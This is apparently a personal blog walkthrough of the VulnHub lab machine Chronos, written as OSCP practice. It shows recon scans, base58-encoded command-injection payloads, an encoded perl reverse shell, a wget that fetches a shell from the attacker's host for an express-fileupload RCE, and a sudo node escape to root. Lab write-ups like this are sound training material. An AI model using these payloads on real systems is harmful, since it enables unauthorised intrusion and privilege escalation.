
Another box closer to finally earning my OSCP …. I can feel it
It seems so difficult to find boxes that aren’t easy but that also aren’t too difficult. If that’s you right now, then give Chronos a try. It’s not insane hard but it’s also way more realistic than most of the machines I review.
Download the Virtual Machine Here
Author: Alienum
Defining the Attack Surface
I started with a full port nmap scan
nmap -p- -sC -oN nmap_full_output 192.168.158.151

It appears we have 3 services running,
Port 22 - SSH
Port 80 - HTTP
Port 8000 - HTTP
It also appears that port 8000 allows for PUT DELETE and PATCH <insert smirk face here>
Before we start exploiting stuff though, let’s finish our discovery. Next, I want to see what these websites look like when we navigate to them. So first I open them in the browser
Service running on port 80

Service running on port 8000

Next I move on to nikto
nikto -h http://192.168.158.151

From this we have the apache version 2.4.29 which is correctly identified as being outdated. Also, we see that directory browsing is available. I add both of these to my notes because they might be useful later and I move on for now.nitko -h http://192.168.151:8000

Looks like running nikto on port 8000 errors out really quick. Moving on.
Time to run DAS BUSTERdirb http://192.168.158.151 /usr/share/wordlists/dirbuster/directories.jbrofuzz

Next against port 8000
dirb http://192.168.158.151:8000 /usr/share/wordlists/dirbuster/directories.jbrofuzz

Ahhh there we go, now we’re getting something. Looks like there’s an endpoint named Date
. Let’s open it in the browser

Alright, now things are heating up. It appears that endpoint threw up on something. Probably something missing. Let’s see if we can abstract anything from this error text.
Well, to start, we know the path to the web application now
/opt/chronos/node_modules/base-x/src/index.js
Also, we now know that the application server is running node. It also appears that the function process_params
was the one that threw the exception here.
Other than the app blew up on some decoding command, that’s about all we’re going to get from this. Time to move on.
Now that I’ve gone through my initial scans and have the attack surface identified, I’m going to start drilling in a little more and manually inspecting the source on the pages.
Looking for Soft Spots
When I’m poking web applications I usually always have burp running in the background. So up to this point I’ve actually already captured all the web traffic from the browser but before we dig into it, I want to manually go inspect the page source and see if there’s anything in there I can use.

Okay interesting, someone went through some trouble to obfuscate all that javascript so before I take the time to undo it, I’m going to see if there’s any other low hanging fruit.
Let’s look at the console window.

Oh that’s interesting. Two failed calls to port 8000 in the output. It appears that our two webservices are talking to each other. It also appears that the missing param we noticed in the last stage is the “format” param.
If we take a closer look at the response headers, we see that the response code is 200, so why did it fail?

There’s the reason! It looks like it’s setting the Hostname
header to chronos.local:8000
If we think logically about what’s happening here, it should be obvious what’s happening.
- We make a request to the webserver on port 80 and we’re returned a page
- The javascript in that page, makes a request to port 8000 from our machine and sets the hostname to
chronos.local
Do you see the problem?
Unless you have chronos.local
in your /etc/hosts
file, your machine is going to have no idea where to route chronos.local
when it attempts to route that GET
request.
To easy, let’s pop open /etc/hosts
and add a new line with 192.168.158.151 chronos.local
in there. This way our machine knows where to send those packets.

(obviously your target ip will probably be different)
And what do you know? As soon as you do that and refresh your chronos landing page, we get a date time. It looks like the application is functioning as expected now

Let’s try and crack it 🙂
Getting a foothold

First thing I do is crack open burp and start inspecting all of the traffic we’ve been sending. Specifically, I want to see that very last request going to port 8000
Just right click and send to repeater.

Repeater replays the exact message and in response we get a 200 and what appears to be a datetime!
Sweet, now let’s see what that encoded string really is. I have a feeling that’s going to be our trophy here.
I double click the encoded string, right click and send to decoder. I ran it through each of the decodings but none of them decode it…..
So, I guess we need to pull out the big guns
I head over to cyber chef and use the magic option. This thing really is magic sometimes.

Looks like cyber chef got it! It’s a base 58 encoded string and the string contains '+Today is %A, %B %d, %Y %H:%M:%S.'
Next, I find a simple base58 encoder decoder and start generating some test payloads
Now the fun part. This might be a little frustrating. At first, I thought there was some type of intrusion detection system preventing me from accessing the machine. The service seemed to stop responding randomly and eventually closes the port and never comes back. You may need to restart the machine. I don’t believe this is by design
That being said, if you craft it just right, you can slip past the server’s app and get command injection.
I started with something simple,
'+Today is %A, %B %d, %Y %H:%M:%S.'; ls -la
which when converted into base58 is
3tMMgHUnzUbrMNnoRimpQhWEkSPfyktyDehmp58hDsbcctg2FtShKRYCtY8
then I include that into my payload

Okay so we have command execution on the server. Ohhhh app.js
looks interesting. Let’s see if we can cat it out.
'+Today is %A, %B %d, %Y %H:%M:%S.'; cat app.js1
Kt5yZ867fUXayBBqX5Vxm3sWqGyCEHau9TiVNCTo5qmgQ8RswFXGAhYtic9LoneW

It works! And, we can see what commands they’re filtering out on the backend. So as long as we don’t invoke one of these commands, we should be able to continue our injection without disrupting the machine.
Now we can move on to trying to get a shell. It doesn’t appear that perl is in the list of items. Let’s see if we can check if it’s installed. It doesn’t look like we’re allowed to use the Which
command based on the above filtering. However, that doesn’t mean we can’t just call perl --version
and see if we get some output.
Once again building and encoding our payload string
AQKbwuPgjem8xMc6tRnqawaL3XZmEAhNA2WmNGZiyvhVGgT3k4Bad3vwDkorMSvDFTAcPVw

It does appear that perl is installed and is responding to our commands. Let’s get that shell.
I tried a few different reverse shells from my favorite cheat sheet but the one that seemed to actually work was in fact the perl shell.

uHgShTB1gujMNTZEbx22MzcdvsvipvBezjDCij6beY8cVRCUjJmy87TYiDnAdjhqPBhk3XrCfvnMDMy1gVAXgsJYpt6sQygtb4E99nkyXQw4SqAra4JJkLW8nNde9nfbVhhQZhKbVuRDvKZPbBheZJpwqwJRFXboWVJWZfZCeyUaeUPoHLNxxR9UUrLf1LwfeWaJckjUX54DcKtJG1cSwoL2ebw7wTxKpKTXBXNuvZj2bSLUNHdkSxzp1bZEwxT1WptLE4r4eZvCjqpvFenY1WjHfD3EdtWgk8B5xxxs3RFVDnan457UekMevwZN8sofDahthwJZPGHXtbvyK8gDLTExi1jEPQk8f39G
That’s our encoded perl script reverse shell.
Don’t forget to start your listener. I started mine on port 443. This is a good practice because firewalls are often configured to let traffic go over port 80 and 443. It shouldn’t appear out of the norm to anything watching.
When I run my payload in burp and check my listener……..

We get a shell!
It appears we’re the www-data
user. Let’s escalate privileges now
Privilege Escalation
Currently, my linux escalation methodology goes something like this, in this order
- Run LinEnum.sh
- Run suid3num.py
- Check home directory
- Look for misconfigurations in linux like world writable files
- Check logs
- Look at running services
- Start poking at internal services
- Aimlessly poke at box until exploit is found
USUALLY the vulnhub boxes are pretty easy and the above checks find something that move me up before I get to the bottom of the checklist. In this case though, I got all the way through my checklist before I figured out what the next step was.
Which brings me to why I really like this box. It wasn’t super obvious. Actually it required some code review to understand what the next step was and _why_. Also it wasn’t super difficult to do, but it did require just a little extra thought.
So let’s look at what the vulnerable service was that led to the next user.

We’re going to skip over all my enumeration steps because it isn’t worth seeing in this case. What is worth seeing though are the three things I have identified in the above image.
First, the target directory you’ll want to be in is /opt/chronos-v2/backend
and the file we want to look at is server.js
When you cat out this short file, you’ll see it’s another node server that’s running on the machine. It appears that it’s listening on port 8080 internally and that it not only renders an index file in /opt/chronos-v2/frontend/pages
but that it also requires a modules called express
and a module called express-fileupload
Admittedly, I found this file very early on in my enumeration but I didn’t know if it was the target or not so I saved it for the end. This costs me about an hour of looking at things that had no relevance to the task. I suppose it’s a hard thing to balance. You don’t want to go down a rabbit hole but you also don’t want to miss the attack either.
When I googled for node express-fileupload exploit
I came across this site here which not only explains that there’s a RCE vulnerability with this module but also provides a working proof of concept!

I moved the exploit code over to my attacking machine’s web directory and modified it to point to my attacking machine on port 444
On the victim’s machine, I cd /tmp
and then wget http://192.168.158.239/testshell
this pulls my shell down onto the victims machine. Finally I start my listener on port 444
Now we run it!

If you make the same mistake I did, then you’ll run it with python2 first. Use python3 and you won’t get any syntax errors.

imera
Let’s grab her flag and then move on to getting root

(note the weird double letter glitching. I’m not sure why this is happening)
Getting Root
Getting root can be easy or hard depending on if you circle back and start your enumeration over again. Remember that a different user means different permissions. I just start my above privilege escalation process over from the beginning to see what turns up this time around
I’m happy I did, because I almost walked right past this little gem. It appears that our user can not only sudo but sudo node without a password.

One quick google search later, let’s try it
node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

ROOTED!
Summary
Yeah wow great box. I’m so happy I found this one. I’m going to be making attempt number two at my OSCP soon and this was what I needed. I really appreciate the box because it wasn’t silly things like hiding a password and a flag in a picture. Practicing for the OSCP requires real(er) world scenarios. So thank you to Alienum for putting this one together